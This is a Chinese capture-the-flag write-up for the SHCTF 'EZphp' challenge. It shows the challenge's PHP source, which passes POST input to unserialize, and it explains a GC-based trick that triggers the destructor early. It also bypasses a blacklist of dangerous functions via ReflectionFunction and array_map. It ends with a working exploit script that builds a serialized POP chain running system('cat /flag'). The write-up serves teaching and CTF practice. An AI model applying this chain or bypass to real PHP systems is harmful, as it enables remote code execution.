第三届SHCTF--EZphp

前言:反序列化比较薄弱,做得也比较少因此每次碰到都是两眼一黑,然后这次SHCTF中又出现了一个我没学到过的知识点,因此这里也再详细记录一下

题目源码如下:

php 复制代码
<?php

class Sun{
    public $sun;
    public function __destruct(){
        die("Maybe you should fly to the ".$this->sun);
    }
}

class Solar{
    private $Sun;
    public $Mercury;
    public $Venus;
    public $Earth;
    public $Mars;
    public $Jupiter;
    public $Saturn;
    public $Uranus;
    public $Neptune;
    public function __set($name,$key){
        $this->Mars = $key;
        $Dyson = $this->Mercury;
        $Sphere = $this->Venus;
        $Dyson->$Sphere($this->Mars);
    }
    public function __call($func,$args){
        if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
            $exploar = new $func($args[0]);
            $road = $this->Jupiter;
            $exploar->$road($this->Saturn);
        }
        else{
            die("Black hole");
        }
    }
}

class Moon{
    public $nearside;
    public $farside;
    public function __tostring(){
        $starship = $this->nearside;
        $starship();
        return '';
    }
}

class Earth{
    public $onearth;
    public $inearth;
    public $outofearth;
    public function __invoke(){
        $oe = $this->onearth;
        $ie = $this->inearth;
        $ote = $this->outofearth;
        $oe->$ie = $ote;
    }
}



if(isset($_POST['travel'])){
    $a = unserialize($_POST['travel']);
    throw new Exception("How to Travel?");
}
highlight_file(__FILE__);
error_reporting(0);

class Sun{
    public $sun;
    public function __destruct(){
        die("Maybe you should fly to the ".$this->sun);
    }
}

class Solar{
    private $Sun;
    public $Mercury;
    public $Venus;
    public $Earth;
    public $Mars;
    public $Jupiter;
    public $Saturn;
    public $Uranus;
    public $Neptune;
    public function __set($name,$key){
        $this->Mars = $key;
        $Dyson = $this->Mercury;
        $Sphere = $this->Venus;
        $Dyson->$Sphere($this->Mars);
    }
    public function __call($func,$args){
        if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
            $exploar = new $func($args[0]);
            $road = $this->Jupiter;
            $exploar->$road($this->Saturn);
        }
        else{
            die("Black hole");
        }
    }
}

class Moon{
    public $nearside;
    public $farside;
    public function __tostring(){
        $starship = $this->nearside;
        $starship();
        return '';
    }
}

class Earth{
    public $onearth;
    public $inearth;
    public $outofearth;
    public function __invoke(){
        $oe = $this->onearth;
        $ie = $this->inearth;
        $ote = $this->outofearth;
        $oe->$ie = $ote;
    }
}



if(isset($_POST['travel'])){
    $a = unserialize($_POST['travel']);
    throw new Exception("How to Travel?");
}

一大串的还是得倒着看,我们先看要传的:

php 复制代码
if(isset($_POST['travel'])){
    $a = unserialize($_POST['travel']);
    throw new Exception("How to Travel?");
}

这里我们可以控制的是travel,构造响应的php对象进行注入,但是后面有一个 throw new Exception("How to Travel?"); 按照正常流程的话是这样的:

php 复制代码
unserialize -> throw Exception -> 程序终止

正常情况下,Sun 对象的 __destruct() 永远不会在想要的时间点触发,因为:

  • unserialize() 成功返回后,$a 变量持有对象引用(refcount ≥ 1)。
  • 接着执行 throw new Exception,异常立刻抛出 → 脚本开始错误处理 → 输出 "How to Travel?"。
  • __destruct() 只有在脚本完全结束(shutdown 阶段)才会被调用,已经晚了。

这里就用到了GC提前销毁机制:利用解析错误强制提前回收。

核心目的 :让 Sun::__destruct() 在 unserialize() 函数内部就同步触发,这样后面的 throw 永远不会执行到,异常信息不会出现,RCE 链直接跑出 flag 并 die()。

底层原理(基于 PHP 引用计数 + 垃圾回收)

PHP 内存管理主要靠 引用计数(refcount)

  • 每个对象都有一个 refcount,初始为 1(被变量引用)。
  • refcount 降到 0 时,立即调用 __destruct() 并释放内存。
  • 另外还有周期回收器(Cycle Collector)处理循环引用。

关键点 :在 unserialize() 解析过程中,PHP 是边扫描字符串边创建对象的。

如果我们故意把序列化字符串构造得格式错误),会发生:

  1. 解析器已经成功创建了 Sun、Moon、Earth、Solar 等对象(甚至已经执行了部分魔术方法)。
  2. 扫描到错误位置时,unserialize()提前抛出内部异常并中止(还没返回给 $a 变量)。
  3. PHP 为了"清理刚才临时创建的对象内存",会立即把这些对象的 refcount 强制归零
  4. 于是 __destruct() 被同步调用(发生在 unserialize() 函数还没返回的时候)。

这时候我们整个链条已经跑完了,输出 flag 并 die(),后面的 throw 语句根本没机会执行。


接下来再看我们的调用链:

php 复制代码
public function __call($func, $args) {
    if (!preg_match("/exec|popen|system|...|array_map?.../i", $args[0])) { 
        $exploar = new $func($args[0]);        
        $road = $this->Jupiter;
        $exploar->$road($this->Saturn);          
    } else {
        die("Black hole");
    }
}

我们想要的是能触发RCE的构造,但是这里直接执行system会被拦截,这里**ReflectionFunction + invokeArgs** 可以绕过。

**ReflectionFunction**属于PHP反射类,可以调用动态函数,就比如:

php 复制代码
$f = new ReflectionFunction("system");

$f->invokeArgs(["id"]);

//等价于system("id")

题目中的执行方式:

php 复制代码
$exploar->$road($this->Saturn);

如果我们令:
$exploar = ReflectionFunction
$road = invokeArgs

那么就会变成:
$exploar->invokeArgs(...)

invokeArgs 需要数组参数,因此再利用array_map,那么整体应该是这样的:

php 复制代码
<?php

highlight_file(__FILE__);
error_reporting(0);

$rf = new ReflectionFunction('array_map');
$rf->invokeArgs(["system",["dir"]]);

如何触发 Solar::__call

__call 是魔术方法,当调用不存在的方法时触发:

php 复制代码
$Dyson->$Sphere($this->Mars);

所以要让 $DysonSolar 对象 ,并且 $Sphere 是一个不存在的方法名,就会触发 __call


如何触发 Solar::__set

__set 是魔术方法,当访问不可访问属性时触发:

php 复制代码
$oe->$ie = $ote
//这里 $oe 是 Solar 对象,$ie 是一个不存在的属性名 → 触发 __set。

如何触发 Earth::__invoke

__invoke 是魔术方法,当对象像函数一样被调用:

php 复制代码
$starship();
//所以 $starship 必须是 Earth 对象。

如何触发 Moon::__toString

__toString 是魔术方法,当对象被当作字符串使用:

php 复制代码
Maybe you should fly to " . $this->sun

//所以 $this->sun 是 Moon 对象 → 自动调用 __toString → 执行 $starship() → 调用 Earth::__invoke。

如何触发 Sun::__destruct

__destruct 是魔术方法,当对象被销毁时自动触发。

  • 触发方式:GC 回收对象或者脚本结束

  • $sun 是 Moon 对象 → 触发 __toString


最终的倒推形式如下:

php 复制代码
[目标] system("id") 
   ↑
ReflectionFunction->invokeArgs(...)          # Solar::__call
   ↑
Solar::__call()                               # 调用不存在方法触发
   ↑
Solar::__set()                                # 动态赋值触发 __call
   ↑
Earth::__invoke()                             # 对象当作函数调用触发 __set
   ↑
Moon::__toString()                            # 对象当作字符串触发 __invoke
   ↑
Sun::__destruct()                             # 对象被销毁触发 __toString
[入口] GC/脚本结束后析构 Sun 对象

exp:

php 复制代码
<?php

$sun = new Sun();
$moon = new Moon();
$earth = new Earth();
$solar = new Solar();

$sun->sun = $moon;
$moon->nearside = $earth;

$earth->onearth = $solar;
$earth->inearth = "test";
$earth->outofearth = "array_map";

$solar->Mercury = $solar;
$solar->Venus = "ReflectionFunction";
$solar->Jupiter = "invokeArgs";
$solar->Saturn = ["system",["cat /flag"]];

$arr = [
    "a"=>$sun,
    "b"=>NULL
];

$payload = serialize($arr);

/* 覆盖key触发GC */
$payload = str_replace('"b"', '"a"', $payload);

echo urlencode($payload);
相关推荐
两个人的幸福8 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo10 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack10 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820711 天前
PHP 扩展——从入门到理解
php
鹏仔先生12 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下12 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
treesforest12 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
xingpanvip12 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
上海云盾第一敬业销售12 天前
深入解析WAF的工作原理与机制
web安全·ddos
憧憬成为web高手12 天前
l33t-hoster
学习·web安全·网络安全